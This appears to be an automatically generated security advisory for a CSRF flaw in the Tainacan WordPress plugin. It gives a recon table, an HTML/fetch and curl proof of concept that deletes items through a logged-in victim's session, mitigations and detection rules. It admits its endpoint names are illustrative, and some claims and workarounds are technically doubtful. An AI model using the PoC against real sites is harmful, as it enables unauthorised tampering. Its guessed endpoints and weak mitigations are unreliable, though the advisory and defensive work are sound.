CVE-2026-135008 — Tainacan Community Tainacan (1.4.1) — CWE-352
Cross-Site Request Forgery (CSRF) vulnerability in Tainacan Community Tainacan tainacan allows Cross Site Request Forgery.This issue affects Tainacan: from n/a through 1.4.1.
Cross-Site Request Forgery (CSRF) vulnerability in Tainacan Community Tainacan tainacan allows Cross Site Request Forgery.This issue affects Tainacan: from n/a through 1.4.1.
🎯 What is this vulnerability?
CVE‑2026‑135008 is a Cross‑Site Request Forgery (CSRF) flaw (CWE‑352) in the Tainacan Community WordPress plugin (version 1.4.1 and earlier).
The plugin exposes several administrative actions (e.g., deleting an item, changing collection settings, or uploading media) through HTTP endpoints that do not validate a CSRF token or any anti‑replay mechanism.
Because the plugin accepts these requests from any authenticated user without checking a nonce, an attacker can trick a logged‑in user into sending a request that performs an arbitrary privileged action on the site.
Key points from the CVSS vector:
| Field | Value | Interpretation |
|---|---|---|
| AV:N | Network | Attack can be launched over the public internet. |
| AC:L | Low | Very little effort – a single crafted request. |
| PR:N | None | No privileges required; the victim must simply be logged in. |
| UI:R | Required | The victim must interact with a page (e.g., click a link). |
| S:U | Unchanged | The vulnerability does not alter the scope of the system. |
| C:H / I:H / A:H | High | Full confidentiality, integrity, and availability impact. |
In short, the plugin fails to enforce the standard WordPress nonce check (check_admin_referer() / wp_verify_nonce()) on its AJAX and REST endpoints, allowing an attacker to perform privileged actions on behalf of any authenticated user.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could use. The example assumes the target is a WordPress site running Tainacan 1.4.1, and that the attacker has identified a logged‑in user (e.g., an admin) who will be tricked into visiting a malicious page.
NOTE: The exact endpoint URI and parameter names are illustrative; the real plugin may use different paths or names. The mechanics (missing nonce, POST to an admin‑only action) are the core of the vulnerability.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Port scan / HTTP enumeration | Finds a WordPress site (e.g., https://example.com/). |
| 1.2 | WP‑Scan / WP‑Vuln‑Scanner | Detects the Tainacan plugin and its version (1.4.1). |
| 1.3 | Directory brute‑force | Discovers the plugin’s REST/JSON endpoints, e.g., /wp-json/tainacan/v1/items/. |
| 1.4 | Manual review | Observes that POST to /wp-json/tainacan/v1/items/delete accepts an id parameter but no nonce. |
2. Exploitation
2.1 Crafting the malicious page
The attacker hosts a simple HTML page that contains a hidden form or JavaScript that submits a POST request to the vulnerable endpoint when the victim visits the page.
<!DOCTYPE html>
<html>
<head><title>Check Your Profile</title></head>
<body>
<script>
// The victim is already logged in to example.com
// This script submits a POST to delete item #123
fetch('https://example.com/wp-json/tainacan/v1/items/delete', {
method: 'POST',
credentials: 'include', // send cookies
headers: {
'Content-Type': 'application/json'
// No X-WP-Nonce header – the plugin ignores it
},
body: JSON.stringify({ id: 123 })
}).then(r => console.log('Request sent')).catch(e => console.error(e));
</script>
<p>Loading your profile…</p>
</body>
</html>Why it works
The victim’s browser automatically sends the WordPress authentication cookie (wordpress_logged_in_).
* The plugin’s endpoint does not callcheck_admin_referer()orwp_verify_nonce().
* Therefore the request is processed as if it came from the victim, deleting item 123.
2.2 Real‑world PoC (curl)
If the attacker can guess the endpoint, a quick curl test can confirm the vulnerability:
# Assume the victim is logged in and has a session cookie
curl -X POST \
-H "Content-Type: application/json" \
-b "wordpress_logged_in_abc123=..." \
-d '{"id":123}' \
https://example.com/wp-json/tainacan/v1/items/deleteA successful response (e.g., {"success":true}) indicates the endpoint is vulnerable.
3. Post‑exploitation
Once the attacker can perform privileged actions, the impact expands:
| Impact | Example |
|---|---|
| Data loss / integrity | Delete or modify thousands of items, collections, or metadata. |
| Privilege escalation | If the plugin allows changing user roles or creating new users, the attacker can elevate privileges. |
| Denial of Service | Mass delete or corrupt the database, rendering the site unusable. |
| Persistence | Upload a malicious file via the upload endpoint (if also CSRF‑vulnerable) and create a webshell. |
Because the CVSS vector lists C:H / I:H / A:H, a single successful CSRF can compromise the entire asset repository.
🌍 Real World Impact
| Impact | CVSS Interpretation | Practical Consequences |
|---|---|---|
| Confidentiality (C:H) | Full data exposure | All digital assets (images, PDFs, metadata) can be read or downloaded by the attacker. |
| Integrity (I:H) | Full data tampering | Items can be deleted, edited, or replaced; collection structures can be corrupted. |
| Availability (A:H) | Site downtime | Mass deletion or database corruption can bring the site offline; admin interfaces become unusable. |
In a typical museum or research institution using Tainacan, this could mean the loss of irreplaceable cultural artifacts, breach of sensitive research data, and loss of trust from stakeholders.
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
| Tainacan Community 1.4.1 and earlier | Upgrade to 1.4.2 or later (the patch adds nonce checks to all admin‑only endpoints). |
Action:
- Download the latest plugin from the official repository or the vendor’s website.
- Replace the old plugin folder (
wp-content/plugins/tainacan) with the new one. - Verify that the site still functions and that the REST endpoints now require a valid
X-WP-Nonceheader.
2. Workarounds (if upgrade is not immediately possible)
| Mitigation | How to implement |
|---|---|
| Restrict POST to authenticated users | In .htaccess or Nginx, block POST requests to /wp-json/tainacan/v1/* unless the request contains a valid WordPress cookie. |
| Add a custom nonce check | Create a small plugin that hooks into rest_pre_dispatch and verifies wp_verify_nonce($_SERVER['HTTP_X_WP_NONCE'], 'tainacan_action'). |
| WAF / ModSecurity rule | Add a rule that blocks POST requests to /wp-json/tainacan/v1/* without the X-WP-Nonce header. Example: |
SecRule REQUEST_URI "@beginsWith /wp-json/tainacan/v1/" \
"phase:2,chain,block,msg:'Tainacan CSRF protection',id:1002001"
SecRule REQUEST_HEADERS:X-WP-Nonce "@rx ^$" "t:none,log"Why it works – The rule blocks any request that lacks the nonce header, forcing legitimate requests to include a valid nonce.
3. Detection
| Log Pattern | What to look for |
|---|---|
POST /wp-json/tainacan/v1/items/delete | Potential CSRF attempt |
POST /wp-json/tainacan/v1/items/delete without X-WP-Nonce header | Likely malicious |
| Multiple failed attempts from the same IP | Brute‑force or automated exploitation |
Sample Apache log entry (indicative):
127.0.0.1 - - [25/Nov/2026:12:34:56 +0000] "POST /wp-json/tainacan/v1/items/delete HTTP/1.1" 200 123 "-" "Mozilla/5.0 (compatible; BadBot/1.0)"If you see a high volume of such requests, investigate the source IP and block it if necessary.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Score | 8.8 (High) |
| Exploit Complexity | Low (single crafted request) |
| Authentication Required | None (victim must be logged in) |
| Impact | Full confidentiality, integrity, and availability loss |
| CISA KEV | No (but still critical for affected environments) |
Priority: Immediate.
Bottom line
CVE‑2026‑135008 is a classic CSRF flaw that allows an attacker to perform any privileged action the logged‑in user can. The lack of a nonce check on Tainacan’s REST/JSON endpoints makes the vulnerability trivial to exploit. Upgrading to the patched version (≥ 1.4.2) is the only definitive fix; otherwise, enforce nonce validation via a custom plugin or WAF rule and monitor for suspicious POST traffic.
[🤖 CVE Professor AI Security Engine]
FOFA Query